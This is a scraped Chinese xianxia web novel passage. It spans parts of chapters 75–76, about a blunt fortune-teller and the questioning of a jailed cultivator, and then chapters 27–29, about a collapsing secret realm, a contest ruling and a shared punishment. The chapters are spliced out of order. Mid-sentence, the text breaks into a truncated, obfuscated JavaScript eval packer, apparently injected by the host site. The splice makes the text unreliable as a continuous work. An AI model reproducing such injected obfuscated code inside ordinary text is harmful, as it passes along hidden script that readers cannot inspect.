贵客摇了摇手中的龟壳,就听丁零当啷的在桌上落了几枚铜板,他只瞅了一眼就摇摇头道:“你此生无所成,下辈子何来泼天富贵?不过你下辈子依旧儿女双全,妻顺母慈,吃喝不愁。” 男人“啊?”了一声,似乎有些失落:“这不是和我今生一样吗?” “非也。”贵客笑道,“这辈子你是你,下辈子你是你妻子的命格。既然你家庭幸福美满,做你家中的妻子,想来也不错?” 男人足足反应了两瞬,拍桌乍起道:“你、你胡说!你个死骗子!!” 说着撸袖子要动手,但只听一声响指,男人诡异地立直了身体,同手同脚地往边上走去,看热闹的人群自觉让道,竟然很熟练。 有村民暗戳戳地议论起来:“呵呵,谁不知道他家的妻子是外头拐骗来的?日日捆在家中不让她出去,一年一年的都变成傻子了,能不顺吗?” “是啊是啊,他在外头还说得好听嘞,什么好心收养失忆少女,自己做的是大好事!呸,再聪明的姑娘被他那样打骂虐待,脑子没问题才怪了。” “你看他方才要吓死了哈哈哈” “但大师说的是真的吗……” …… 几人瞧见贵客真容的时候,一个头发花白的大爷正慢吞吞地在他面前落座。这是一个有些江湖骗子气质的男人,和凡间街上任意一位算命师傅没有什么不同。约三四十岁,身穿灰白长袍,容貌普通,最起眼的是遮住下半张脸只露出一张嘴巴的厚长胡子,时不时还手往上面顺一顺。 瞅见几人的时候,他笑眯眯了一下,主动打招呼道:“几位道友有缘相见那,不过客人已经入座,有事还请等我帮他算完这一卦再说?” 明易瞅他机灵的眼睛,忽然变了一个大袋子出来抱在怀里,客气道:“不必在意,我们只是来分寒衣的,借你边上空位一用,不碍你事吧?” 大师笑呵呵顺胡子:“不碍事、不碍事。” 于是几人就在他边上发寒衣,竖着耳朵注意他的动静。 “大爷,你有什么想问的?” “徐大师啊,我一个快死的人,自身别无他求,就想问一问我家小儿何时能成才啊?我等得及不?” 一阵叮铃啷当之后,大师道:“大爷,您这一生碌碌无为,在个人功业上好吃懒做、靠老母亲养活,对你孩子起不了表率作用;在教育子女上更是一塌糊涂、动辄打骂,就是好好说话也尽说些迂腐污秽;再加上你夫妇二人天资一般……” 看着大爷越听越懵逼的脸色,大师叹了口气无奈道:“唉,您何必问我如何用粪炼金的问题呢?下辈子再谈吧!” 大爷:…… 他似乎挥了下手,瞪大的浑浊眼珠子有想打人的意思,不过他实在是老得没力气动手,只能留着余力坚强地撑着拐杖站起来,往地上砸了两下拐杖冷哼一声,白了徐大师一眼就噔噔噔地走了…… 哦,临走前也没忘记去领了几件寒衣。 76. 第 76 章 曾换月看着大爷冒火的背影偷笑起来,悄悄和师姐说:“这个徐大师成分不详,嘴巴倒是挺毒的哈。” 石映心好奇道:“他说的都是真的吗?” 曾换月啧啧啧道:“看那个大叔和这个大爷气得要揍人的模样,包是真的。师姐,人被说中了坏心思就是会生气的,这叫破防!” 石映心:“原来是这样。” 后来她们又见了许多村民破防的模样,当然也有心满意足离开的、面露思索犹豫徘徊的。期间石映心偷偷地照过一位村民,感到他心中忐忑的激动,侥幸的期待,还有很多朦胧不清的、像是把剩菜剩饭倒在一起。 五味杂陈是什么意思,石映心没吃过这样的东西,照倒是照过不少,真就是一会酸一会甜,一会苦一会咸一会辣,尤其是这些凡人的心思最为浑浊。 大师兄常说修仙者要心无杂念,其实她有些感触,比如照她师兄师妹的时候,吃到的情绪相比较而言是简单澄净许多的:顶多是过酸的柑橘,太苦的莲子,甜腻的西瓜。 凡人……就像七情六欲的泔水桶。 石映心有时候这么想。 等泔水桶们一一问过大师,各怀心思地抱着寒衣离开后,天色已是黄昏。因为他的进度耽误了她们的进度,所以双方的氛围有些隐约的警惕和芥蒂。还是这个徐大师先开口道: “不愧是归壹派的弟子,十月一还特来民间送寒衣那,真是心怀天下的名门正派,徐某佩服佩服。” 大概是因为这人一副江湖骗子的装扮,说起话来脸上笑眯眯的显得有些油滑,几人都觉得他的话听起来有几分阴阳怪气。 明易客气道:“不过是顺手而为的小事罢了,不至于牵连我派的名声。方才见徐道友龟卜铜钱卦,将村民们前程后世一一说来,功法造诣不浅,不知道友师承何处名门?” “嗐,”这人摆摆手道,“我哪有多少造诣,不过确实来自名门。在下天机阁徐舟,这几年一直在游历八大洲,每到一处便帮当地民众卜卦来换些民风淳朴,不至于叫我风餐露宿啊。” “民风淳朴?”石映心回想了一下方才有多少村民对他举手挥拳、口吐恶言:“你指的是招打招骂?” 徐舟哈哈一笑:“良药苦口,实话总是不好听的。我身为修行之人,只求自己良心过得去。” “嘿。”顾梦真拍拍他肩膀,“你还挺正直的嘛。” 是吗?石映心又问:“难道你帮人卜卦时,真的一句谎话也不说?” “这……那倒也不是。”徐舟诚恳眨眼睛,“撒点小谎这种程度,我的良心都挺好过去的。” 其他几个:OO? 石映心若有所思:“你这么说是有些道理,原来这句话并不是要做好事的意思。” 徐舟:“噢!这位道友,你已然发现了良心的真谛。” 其他几个:…… “对了,徐道友,”明易谨慎地礼貌道,“这段日子常有散修邪修冒充正派弟子混入人间,鬼鬼祟祟,居心不良。恕我冒昧,还请你出示天机阁令牌证明身份。” “理解,理解。”徐舟好说话地变出令牌来,不过只是拿在手上递给明易看了看,“我也怕你抢我令牌,就这么瞅两眼吧。” 明易虽有些无语,不过已经认出这确实是天机阁的令牌,没被他手指遮住的地方显出一个“舟”字,令牌上的气息与此人也很相同,便算是证明了身份。 几人又瞎聊了几句,算是简单认识了。这时连天边的黄昏都要散去,村里传来各样的佳肴芳香,徐舟捂住肚子道:“哎呀,今晚去哪户人家用膳好呢?不要太素了……” 师兄妹四人对视一眼,石映心说我们回去吧,于是他们在短暂相遇后就此分别。日后会不会再见,这都是不必在意的事。 * 归壹派的日子一如往常。 就是石映心最近有些动静,本应该努力练习元婴期法术以及剑法以及她师父的呼风唤雨大招的她,忽然停住了修炼进度,转而开始探究她的照人术。 这当然不是无缘无故的,事情还要从前段时间说起。 归壹派弟子入元婴之后,便能入戒律堂或是万事堂等各处务工当帮事弟子。要是弟子不愿意自然也不勉强,但石映心这不是有一个勤劳优秀的大师兄吗,又赶巧她陈久师叔也在里头当管事。 再加上她时不时地就要去戒律堂受罚挨个板子清扫卫生什么的,对戒律堂倒是很熟悉。当然戒律堂对她也很熟悉,比如她这日过来,前台的师兄就笑着打招呼:“欸,映心,今日过来挨板子还是罚扫地啊?近日天气愈发严寒,后院的树掉了满地枯叶呢。” 差点没说“你来得正好”了。 石映心也没因为他不加掩饰的不怀好意而生气,摇摇头说:“今日不是来受罚的,陈久师叔找我。” “是哦?那你快些进去吧,里头路你也熟。” 熟是熟的,就是说起来不太光彩。 熟门熟路地找到陈久师叔的办事房,大师兄也在里头。见到她来,二人并不是往常看见她来受罚时的无奈笑容,似乎有些隐约不安的期待。 “师叔,大师兄,你们找我什么事?” “其实也不是大事。”陈久委婉道,“不过确实麻烦你,而且此时关乎戒律堂机密,你可不能说出去,你得和师叔保证。” “我是镜灵,又不是大喇叭灵。”却不做保证。 “你这孩子,还和师叔贫嘴。”陈久“嘿”了一声,笑道,“找的就是你这面镜子。前两日我们牢里来了一个犯事的邪修,喝了真话水也没有效果,我和你大师兄也是没招了,总不能严刑拷打是吧?这不符合我们的正派身份,只好找你来一试。” 石映心有些诧异:“真话水都没用吗?我们门派的真话水不是很厉害的吗?” “谁知道这些邪修搞的什么玩意!”陈久粗眉一皱,很不满地嘟囔道,“所以我说这群人最恶心了!歪门邪道令人不齿!” “师叔别生气,”石映心便起了些兴趣,“让我照照吧。” 陈久略狰狞的面容一松,露出一个勉强算是和蔼的笑来:“还是映心厉害,跟师叔来。” 石映心和大师兄便跟在陈久身后走,明易低声提醒她:“等会叫你照的时候你再照,切不能恣意妄为。” “好。” 明易早就习惯她轻飘飘的答应了,完全不能信的,定要把这些利害同她说完:“这些邪修练的都是歪门邪道,许多都是走火入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你这个歹毒的女人!!”他怒火冲冲地大吼道,“竟然想对我施以极刑!你、你蛇蝎心唔唔唔唔唔!?” 明易瞥他一眼:“废话就不必多说了。” 陈久和师侄解释道:“你说的那些是凡间为了让罪犯招供的手段,我们有仙法灵药辅佐,不必对未定罪的犯人如此;等定了罪后,自会有相应的雷霆手段惩罚,不过就是你说的极刑也得给他们留下一口气,主要是以拘禁和改造教导为主,让他们深刻悔过、重新做人……” 说到这补充了一下:“虽然有些是下辈子的重新做人,在我们这服完刑直接送去幽都了。” 无故施刑也是罪,归壹派虽说所为都是为了惩恶扬善,但也不想因此犯下无故罪孽。这其实也是自保的手段。 例如真话水,也是门派中各位长老付出了惨痛的代价才炼制出来的,比如不为人知的小癖好被发现然后丢尽了脸面啊……之类的。 暂且不提。 “我明白了,师叔。”石映心点点头,心说她们门派的牢房还是很善良公正的,“所以这个邪修迟迟不认罪,也是仗着我们不会动刑?” 陈久咬牙切齿地笑了一下:“是啊是啊,真以为我们拿他没办法呢,呵呵。” 也就是差点了。 27-30 第27章 黑袍的双眼从没睁得这么夸张过——她怎么可能会他们幽冥宗的秘印!? 二人面面相觑着,彼此面前的符印同样相对轮转,不及二人有更多的动作,时空骤然撕裂开来,湖水全然消失不见,他们漂浮在无尽的黑暗之中,只能瞧见彼此……还有那只小鸟蛇。 黑袍终于回过神来,脑海里有太多疑惑,一时不知从何问起,但还是要开口先大声叫道:“你怎么会在这里!?” 虽然周遭一片黑,但石映心还是四处看了看:“这里是哪?” “……传送空间,你为何会我们幽冥宗的秘法?!” “传送去哪?” “月牙关上古秘境……喂,你还没回我的话!” 月牙关上古秘境?石映心奇怪道:“秘境不是已经在七年前坍塌了?我们大比所处的秘境是药神谷缔造的……不是吗?” “所以这次去的是七年前的秘境。”黑袍叹了口气,很不高兴道,“这是我们幽冥宗的秘法!你不要多问!可、可你为何……” “你去那里做什么?找秘境坍塌的真相吗?” “……不,我是去找……”黑袍回过神来,“关你什么事,你到底怎么跟来的!?” 石映心无辜地看着他:“这是我的秘法,你不要多问。” 黑袍:…… 事到如今,他只好警告她:“我们要去是秘境将要坍塌前半小拇指香时间,我拿了东西便要走,你最好跟着我不要乱跑,否则若是你留在秘境之中,可就永远出不来了!” 拿了东西?难道他真的不是去找某个“人”? 石映心见他神色认真,总算表现出配合的模样:“好。你要找什么,我帮你找。” “不用你管……”黑袍撇过脸,“知道的太多对你没有好处!” “哦。” 然而—— “石头呢?那么大一块石头呢!?” 他们很快便传送到了七年前的月牙关上古秘境,出现的地点依旧是那湖水之中,周遭湖色与他们来时的仿制秘境没有什么不同,只不过这会湖水动荡地颠来倒去,湖底被撕裂了几道裂缝,有许多碎石从上头落入湖中,大概是外头的山体在崩裂。 哦,还有一个不同就是那块镇湖之石不见了。 石映心在激荡的湖中稳住身形,看着方才还嚷着“知道的太多对你没有好处”的黑袍,这会惊慌失措地在湖里游来游去,甚至还跑来问她:“你看见那块大石头没有?在那个秘境里它明明就是在这的,对不对!?” 石映心点点头说对。 黑袍哇哇大叫道:“你来都来了,求你帮我找找吧!” 石映心点点头说好。 她趁着黑袍满心满眼都是石头,偷偷地将湖底字迹眼熟的阵法给抹去了——呼,总算帮师父消灭了犯案证据,这趟不算白来。 扭头一看,黑袍似乎着急得很,那双眼睛露出想哭的神色,瞧着很可怜。石映心想起师父和她说的故事,游过去对他说:“石头可能变小了,你从这些小石子里找找吧。” 黑袍又急又奇怪:“你怎么知道石头变小了?” 石映心:“你不要多问,知道的太多对你没有好处。” 黑袍:…… 这时候他不得不信任她,低头看见湖底那一堆乱七八糟的小石头,此时还有源源不断的碎石从上头落下来。黑袍简直头大,本来那块石头这么大多好找啊,如今变成这样! 石映心又说:“你把这些石头都带回去,慢慢找不就好了?” 黑袍:有道理! 石映心好心地帮他收集这些石子,二人忙忙碌碌着,没注意到边上的小鸟蛇情况有些不对劲,它似是抽搐一般浑身发抖,痛苦地扭来扭去,一会把自己打结,一会儿咬着尾巴晕头转向。 激流将它打晕,碎石把它砸出血来,它却仿若未觉。 “秘境快坍塌了。”石映心躲过一块被湖水冲来的落石。 黑袍也知道,他的眉头苦恼又无奈地皱着,将能瞧见的最后一波碎石收入储物空间中,转头看见咬着自己尾巴玩的皮皮,来不及多想将它捞进了怀里,对石映心说:“你跟紧我!” “好。” 回去的术法就简单许多,不过几个手诀的事。 折腾了这么久,石映心总算能上岸了,她第一时间将自己弄得清爽干净,泡在水里太久,就算吃了避水丹也不太舒服,感觉整个人潮潮沉沉的。 黑袍也没好到哪去,黑袍都要变成紧身衣了。他不适应地扒拉了一下衣袍,看着石映心正要说什么,忽然听见空中传来一声铃响,是快秘境快关闭前的警醒。 石映心捡起地上的宝剑,奇怪地左右看看:“我的剑鞘不见了。” 但这时候是没时间回湖里找了。 黑袍也下意识看了看,边上确实没有,但这时更要紧的事:“咳,你帮我捡的那些石头……” “哦。”石映心变出一个巨大的袋子来,里头装着满满当当的石头,递给他,“都在这里了。” “……谢谢。”黑袍接过来往肩上一甩,差点没跟着倒下去,好险稳住了身形,他略有些吃力道,“你的剑鞘……” 石映心举着剑糖葫芦,淡定地说:“没关系,师父会帮我赔钱的。现在石头也给你了,那我走……” “铛——”第二声铃响。 “等等!”黑袍叫住她,“你、你叫什么名……嘶。” 他话音未落,忽然觉得胸前一片躁动,低下头去就见皮皮飞了出来,直直地朝石映心飞去——后者以为它要来咬自己,下意识退了一步,但皮皮的目的却不是她,而是她手上的那把剑——这是要做什么? 她从来没遇见过这样的情况,茫然地站在原地,看着那只小鸟蛇撞到了自己的剑刃上滑了下来,留下一条血迹,最后倒在地上断成了两半,断裂处正是七寸,这下是死的透透的。 石映心:OO? 黑袍晃了晃神,一时不敢相信自己看到了什么,下一刻便发出凄厉的惨叫来:“皮皮!皮皮——” 他飞扑过来跪在地上,看着皮皮的尸体不可置信地发抖起来,而后抬起眼,用带着仇恨的泪眼质问她:“你对皮皮做了什么!?” 石映心一脸莫名:“我什么也没……” 黑袍这会哪里听得进她的解释,大喊道:“它不过是咬了你一口,你现在也没事了,为何还要对它怀恨在心!?” “是它自己……” “铛——” 石映心想起正事,她得离开秘境了,于是最后看了眼黑袍悲伤流泪的眼睛,也知道对方不想和她说再见,干脆她也不说了,转身就御剑飞了起来。 刚飞起来的时候还听到黑袍在下边的喊声:“我会让你为皮皮的死付出代价!!你这个恶毒的坏女人——” 后来飞远了一点就什么也听不见了。 石映心还是很莫名,不过杀一只小鸟蛇对她来说不是什么大事……主要也不是她杀的啊。总之她很快就把这事抛之脑后,一心一意加快速度地往秘境之门飞去,之后想起来是剑沾了血要使澄净诀,但低头一看—— 血已经不见了。 “门要关上了!师姐怎么还没出来!” 曾换月等人站在秘境之门边上急得团团转,眼见秘境之门已经开始缓慢地合上,而石映心还是不见人影,心里真是说不上来的着急。 “刚刚她飞入秘境边界的画面就开始瞧不见了……”晴雯忧心地看着镜中的情况,“现下不知在哪。” “欸,欸!”顾梦真忽然跳了起来,指着镜面某一处,“我好像瞧见映心御剑的影子了!” 莫默:“我看着像别的弟子啊?” “你闭嘴!” “……” 这时候秘境之门已经合了一半,忽然有人飞了出来,大家亮起眼一看——不是。顿时又失落下来。 难捱地又等了一会,觉得时间又快又慢,大门已经合到只剩一个侧身人面的宽度,仿佛真的来不及了,就在这几息之间,只剩下了一个拳头宽的缝隙。 曾换月呜呜地瘪起嘴,眼眶里滚着泪水。 顾梦真依旧在伸长脖子往那个窄窄的缝隙里看,仿佛期待他师妹变成纸片人飘出来。 哐—— 似乎是秘境之门合上的声音,天元仙尊瞅了眼边上愁眉苦脸的慕雲,无奈地摇头叹了口气,立起身来预备宣布秘境大比结束:“咳,既然如此,那……” “掌门。”明易忽然走过来说,“秘境之门……被卡住了。” 天元仙尊:? 众人闻言纷纷看去,只见那门还真的没闭紧嘞,就差了那么一指头宽的缝隙,实在是奇怪得很。疑惑之际,人群中忽然有个人大喊:“是谁的令牌卡住了门!?” 令牌? 又有人喊:“我看清了,是归壹派的令牌!” 落桦谷主冷哼一声道:“是谁的令牌,还不赶快收回去!” 场下归壹派的弟子们纷纷检查起自己的令牌来——奇了怪了,都在啊! 那是谁的呢? 不管是谁的,天元仙尊只好让明易先去把令牌取出来。 明易应了声,飞到秘境之门边上,盯着那坚·挺在门缝中的令牌看了两瞬,眉峰不自觉抽了一下,他伸手正要去拿,却见有几根手指从里头伸了出来。 从指尖的发白看得出来这手很使劲,先是推开了一边门的一点点,然后又伸出另一只手来,两手使劲一推—— “咚。” 顽强的归壹派令牌如释重负地掉在了地上。 石映心推开门,第一眼就瞧见了近在迟尺的大师兄,毕竟是亲近之人,她很是喜悦地笑道:“大师兄!” 她大师兄怔神地看了她一会,还是回了她一个笑,不过笑得有些苦涩便是了。 明易捡起令牌转过来一看,果然是“石映心”。 第28章 人群很快聒噪起来。顾梦真和曾换月跑过来关心她,又是高兴又不敢太高兴——谁也说不准她这卡门之法作不作数。 “好了、好了,肃静!” 天元仙尊也没想到会出这茬,还是先稳定纪律,等大家安静地看着他了,便问这让人头疼的小徒孙:“石映心,你为何要把令牌卡在门上?” 石映心回道:“师……回禀掌门,三日前宣布规则时是说,在秘境之门关上前出来就作数的。” “这……”天元一噎,下意识看向众位长老,自然是要寻求他们的意见。 “这是投机取巧!”落桦冷哼一声,“怎么能作数?” 姜玉瑶道:“确实是我们没把规则说清楚。” 见有人站徒儿那边,慕雲立刻帮腔:“是啊,也没说不能卡门吧?” “是我们规则不完备。”天虚还算客观道,“不如少数服从多数?” “不行!”落桦大声道,“若是开了这先例,之后岂不是人人都想着钻漏洞?” 妙望露出一个调侃的无奈笑容:“落桦谷主您何必要如此较真呢?不管作不作数,这大比魁首都是归壹派坐实了的,至于究竟是谁,对你们药神谷来说有什么分别?” 落桦“哼”了一声:“总之我不同意!” 天元知道落桦就是不想让他们高兴,但毕竟是自家小辈犯事,他也不好明面上偏袒起来,斟酌道:“不如就照我师弟说的,少数服从多数……” 他话音未落,慕雲忽然一惊:“妽荼仙尊来了……” 什么!?众人抬眼望去,果然见一抹红色身影站在剑上飞了过来。 小声议论的场下弟子们猝然安静下来,仿佛瞧见了什么洪水猛兽,个个把嘴巴都抿严实了;就连长老席上的众仙门长老也纷纷起身,远远地 就朝那飞来的妽荼行礼:“妽荼仙尊。” “完了完了……”顾梦真瞧那红衣越瞧越黑,“妽荼仙尊一来,估计这事要泡汤了。” 曾换月小声嘤嘤:“呜呜呜我可怜的师姐……” 石映心盯着妽荼仙尊看了会,摇摇头说:“作不作数我都无所谓。” 顾梦真:“可是……” 明易压低声音:“都闭嘴。” 师妹师弟只好闭上嘴巴。 妽荼落在长老席前,她不过是三十左右的容貌,面色冷峻、神色冷淡,周身散发着盛气凌人的大能气场,在她面前那群俯首的一干长老面前更衬托出如此。她扫了眼几人,最后视线落在天元身上: “大比为何还没结束?” 归壹派掌门连忙和她解释了原因。 “哼。”听罢,妽荼先是冷哼一声,撇过落桦低垂的脑袋,“此事错处有二。一是你们这些人办事不利,制定出能叫小辈有机可乘的规则,真是叫人笑话!” 众长老的脑袋更低了一些,连连称“是是,仙尊教训得对”。 “至于这二……”妽荼的视线总算又落到了那个犯事的小弟子身上,见她低着脑袋抬着眼睛瞧过来,看得她有些无名火,“则是某些弟子自作聪明、明知故犯。若是不以儆效尤,怕是要助长了此等风气!” 慕雲听到这冷汗都流下来了,她提着一口气说:“仙尊,劣徒平日乖巧听话,循规蹈矩,此次只是……额,一时糊涂!还望仙尊念在她是初犯……” “是啊是啊。”天元讪讪一笑,“师姐,映心的情况您也是知晓的。” 妽荼一抬眉毛,没再看这两人,而是朝某弟子道:“石映心,你有什么要说的?” 石映心的左胳膊被师妹挤了一下,右胳膊又被二师兄挤了一下,整个人莫名局促起来,她摸摸胳膊,远远地望向妽荼:“映心想问……若是我与众长老都犯了错,那长老们也要受罚吗?” 全场鸦雀无声,山中空旷静谧,仿佛隐隐有回声。 那长老们也要受罚吗…… 也要受罚吗…… 受罚吗…… 妽荼:。 慕雲两眼一翻真的要晕过去,余光瞧见她师父鬓边的白发都湿了,瞧着也很可怜。她决心下回再有这种事,第一时间要把徒弟的小嘴巴给封起来,不为别的,先保护她师父和师公的小心脏。 “笑话!”妽荼也是气笑了,“他们犯的是无心之过,而你是蓄意为之,岂能相提并论?” 石映心想说有时候自己犯无心之过也会被师父责罚啊,但她张了嘴,又瞧见站在妽荼仙尊后边疯狂给自己使眼色做表情的师父,想了想还是抿住了唇:“仙尊教训的是,弟子知错了。” “哼!”妽荼无意再和她纠缠,红袖一挥下令道,“念你是初犯,就罚四十仙板。至于大比名额……既是众长老的错,便保留你晋级之位。” 众位长老纷纷应和,落桦再有不甘也不敢多言。 石映心也规规矩矩地拱手道:“弟子遵命认罚。” 妽荼只是见这边有异样,便按例来巡察,解决了事情就飞走了。众弟子得知魁首花落谁家,和同门津津乐道着风流云散。石映心等人则是跟着天元一同去了天和峰掌门殿受罚,后头还跟着两个戒律堂的弟子,受命去监督的。 天和峰,掌门殿。 “你你你、你……唉!”天元瞪着慕雲瞪了会,指着石映心道,“你教的好徒弟!” 慕雲转头朝好徒弟恨铁不成钢道:“映心啊,你跟妽荼仙尊顶什么嘴?为师不是同你说过,对她你要恭恭敬敬的吗?” 石映心有些委屈:“我没有不恭敬妽荼仙尊。” “哎呀,”顾梦真在边上说,“师父的意思是,妽荼仙尊说什么你就说‘弟子遵命’就是了,不能说别的。” 石映心:“是妽荼仙尊问我有什么要说的。” 顾梦真:“仙尊只是和你客套一下。” “可是……” “行了!”天元简直听不下去这些乱七八糟的,一挥手道,“领了罚就回去休息吧,之后让你师父好好和你说,我这老头子经不起你们折腾了!” “啊……”这下轮到曾换月嚷嚷起来,“师公你怎么这样,这次我们归壹派能得魁首都是师姐的功劳,现在我们关起门来只有自己人了,你还要惩罚师姐啊?” 天元也是无语了,朝站在边边上一声不吭的两位戒律堂弟子抬了抬下巴。这两位弟子是别支师门的,同他们皆不熟悉,这会正板着脸,端着一副公正的面孔杵在那呢。 曾换月才看见,遗憾一笑:“哦……” “没事。”石映心语气轻松道,“不过四十仙板。” 曾换月又要说什么,却被边上的顾梦真拉了拉。 这时候一直没说话的明易走上前来,朝他师父师公行礼道:“师公,师父。明易身为映心的大师兄,又是此次大比的赛事督察,未向师妹解释明白规则,确实难辞其咎……应当替师妹受罚。” 他师妹师弟:“啊?” 慕雲和天元也有些惊讶,转念一想倒也不意外,大徒弟(大徒孙)从来都是情礼兼到、尊老爱幼的谦谦君子,映心也算是被他拉扯大的孩子,不忍她受罚也是情理之中。 他俩也不舍得小徒弟受四十仙板啊。 天元微微颔首道:“明易,你想好了?” 明易正要应是,就发现袖子被人拉了拉,转头看见他师妹朝他眨眨眼睛:“大师兄,你不用帮我受罚的。” 明易把袖子扯回来:“我心意已决,再说你马上要破境,近日要好好养身子。” 石映心咬了咬唇:“师兄,其实……” “行了,”天元瞥了眼戒律堂的两位弟子,见他们对着眼神似有些意见,立刻先下定论道,“既然这样,就每人各挨二十仙板。此事不必再议,本尊累了,都退下吧。” 掌门发话,大家只好应和:“是。” 到了殿外院中,慕雲取来两个蒲团给两个徒弟跪着,拍拍石映心的脑袋就到边上去了。 二人并排跪着,由两位戒律堂的弟子施刑。归壹派的仙板不过一手臂长,一掌宽,但打起来可疼,若是真四十仙板下去,在床上趴个三天三夜也是正常的。除了犯了大错,慕雲一般不用这法子罚徒弟。 这会瞧见两个徒弟板正地跪在那挨板子,她于心不忍地闭了闭眼睛。 曾换月小声和二师兄嘀咕:“没想到大师兄这么仗义啊……” 顾梦真压低声音道:“我也没想到啊。他平时对我们仨不是都挺严格的吗,比师父还那啥……” “可能真是考虑到师姐要准备破境了?” “不知道啊……” …… 石映心挨着板子,咬着嘴唇没发出声音,面色瞧着倒还好。她转头瞧见大师兄漠然的侧脸,仿佛挨仙板一点也不疼……要不是他额间冒了一些汗珠的话就真看不出来了。 大师兄在想什么呢?石映心想,他为什么要提出帮自己挨板子? 虽然她知道平时大师兄对她们这些师弟师妹也是不错的,但是……好好奇啊。唉,可惜了大师兄身上带着黑镜,她照不到…… 二十仙板很快打完,两位戒律堂的弟子完成任务后就回去复命了。 石映心被曾换月搀扶着站起来,慕雲拿出两瓶膏药分给他们,又对石映心愧疚道:“唉,这次是为师害了你,若不是……” 石映心摇摇头道:“若不是师父七年前救我出来,映心就要死在秘境里了。这些都是我应该做的。” 见徒弟这么懂事,慕雲很是感动:“嗐……是你我有师徒缘分。”搭着她的肩膀说:“孩子真是长大了……好了,快回去休息吧,过几日为师助你破境。” “好。” 第29章 石映心回到她的石头洞休息了会,躺在床上翻 来覆去地看着师父给她的药膏,脑子里不知道想了什么,总之很快站起身来,御剑飞去了日月洞。 “师兄!” 她在院子里喊了一声,自觉是打过了招呼,便跑去正房推开了门,将将看到她师兄把里衣穿好,正背对着她坐在床上飞快地系腰带,头也不回道:“你来做什么?” 不等她回又说:“进别人屋子为何不扣门?没规矩……” 石映心“哦”了一声走进屋里,刚刚被训过,这会是记得把门关上了:“我在院子里喊了师兄,你肯定听到了。” 明易深呼一口气:“我听到了不代表你就能进来……” 石映心觉得奇怪:“天还没黑,我想师兄肯定还没睡觉,为何不能进来?” 明易噎了一下,总算把里衣穿好了,又拿过边上的外衣披上,这才侧过脸朝她道:“没有为何,这是礼数。” “我进换月和二师兄的卧房也不扣门。” “……我不管你进他人卧房如何,总之在我的日月洞要扣门。” “好吧,好吧。” 石映心理解大师兄古怪的规矩,她其实习惯了,从小到大都是这般,她也已经学会多多担待对方,便不放在心上。 走过去关心地说:“大师兄,你的伤还好吗?” “我无碍。你……”他顿了顿,系好腰带朝她看去,见师妹面色如常,脸色红润,可他这会还没意识到问题,“你不待在洞府里养伤,到我这来做什么?” 石映心拿出药膏递过去:“我来给你送药膏。” 明易心说难道她是怕自己不够用吗?“师父给我的够用。” “嗯……但是我没用。”石映心把药膏塞他手里,“还是给你吧。” 明易看了眼手中的药膏,抬眼盯她:“你为何不用?难道是不喜这药膏的怪味?” 石映心抿着唇朝他笑了一下,瞧着有些心虚,但她见大师兄目光炯炯的,想了想还是实话实说道:“大师兄,其实我没有受伤。” 明易:? 她道:“早在进掌门殿前,二师兄就偷偷给我塞了护背垫……仙板打上来一点也不疼。” 明易:。 他愣了一会,回神来却是笑了一声,似乎有些自嘲的意思,轻轻摇头道:“还是你二师兄有主意。” 石映心见他这样,连忙说:“大师兄,但你的板子也不是白挨的。” 明易挑眉看向她:“哦?” 石映心弯眼一笑:“以后什么时候师兄你要挨板子了,我也替你受罚……礼尚往来!” 明易:…… 一时分不清她是要报恩还是在诅咒。想来她就是这样的怪脑筋,总之是出于好意,他只好应声道:“好,我争取不挨板子。” 石映心便满意了。 明易想起什么,拿出她的令牌还给她,训了她几句“下次不许明知故犯”后就让她早些回去休息,石映心却杵在那不走,转着眼珠子打量着他的衣袍,找了会就问:“师兄,你的黑镜呢?” 明易抱着胸,好整以暇地看着她提溜转的眼珠子:“你要做什么?” “……我好奇,是我厉害还是黑镜厉害。” “你厉害。”明易嘴角一扯,“快回去吧。” “我亲自照一照……” “回去。” “……哦。” * 石映心后来想起来说自己的剑鞘丢了,先是被师父骂了一顿,又被二师兄唠叨了半天。俗话说不当家不知道柴米油盐贵,她被骂了两顿也没太大感觉,没有剑鞘就收在令牌里,拿出来就用,反正也挺方便。 剑鞘丢了剑就还不回去了,师父垫了钱后,这剑就是她的了。 换月得知后,嚷嚷着要她给剑起名。 石映心和她师父一样是个起名废。后者从她起的那些洞府名就能瞧出来,一般是拆字取的,比如慕雲本人的“云雨峰”,明易的“日月洞”,顾梦真的“林夕洞”;如果字不好拆,那就更随便了,比如石映心的“石头洞”,曾换月的“咚咚洞”。 因这不长脸的名字,曾换月从来没叫其他师门的同门来她洞府玩过。 再说回石映心本人,她自己根本没有“起名”这个概念,前几年她在黑竹林喂过一年的野猫,从猫来到猫去,从来没起过名,就是喊人家“猫”。有一次曾换月去看猫叫了咪咪,她后来就跟着叫“咪咪”。 因此,给剑取名对石映心来说非常头痛,她是完全没有思路的。 “叫什么都行。”她说,“从话本里取一个。” “不要这么随便嘛。”曾换月摇摇手指头,“对剑修来说,剑的名字也是很要讲究的!若是剑修出名了,她的剑也会随之出名,到时候旁人问起来你的剑叫什么名字啊……石头剑?咚咚剑?啧,说出去好不霸气!” 看得出来她对洞府的名字很有意见了。 石映心想了想:“叫石头剑也行……” 曾换月:“我不同意!!” 石映心拗不过师妹,只好说:“那我想想吧。” 曾换月:“你多取几个,到时候我帮你参谋。” “……哦,好吧。” 这对石映心来说简直是折磨,但她也不是没有办法,先去找二师兄帮忙取了几个,又去找大师兄帮忙取了几个,再去师父……哦,飞到一半想起来换月很嫌弃师父取的名,于是掉头去找晴雯师姐…… 总之最后是收集了不少剑名,有比较潇洒的,比如二师兄取的“风华剑”;有比较霸气的,比如大师兄取的“破晓剑”;也有比较高雅的,比如晴雯师姐取的“清霜剑”…… 这么多名字,肯定能给小师妹一个交代。石映心想。 看着满满当当的一页纸,石映心满意地点点头,把纸张一折放在石桌上,然后从地上捡了一块石头压在上面,等明早换月一来就能看见了……好困,她打了个哈欠,转身回屋里睡觉。 夜里下了大雨,在日出时又停了,地面一片潮湿。 石映心莫名比往日早醒了半个时辰,听到外头不对劲的滴水声便跑到院子里,瞧见满地湿漉有些茫然,拿起石桌上一片黑糊的纸看了看,纸张湿透了,脆弱地掉了一大片下来,只在她指尖留下了一小块。 石映心也不知道是不是自己刚睡醒,脑子昏昏涨涨的。 失策了,她想,早知道就该收起来的…… 唉。 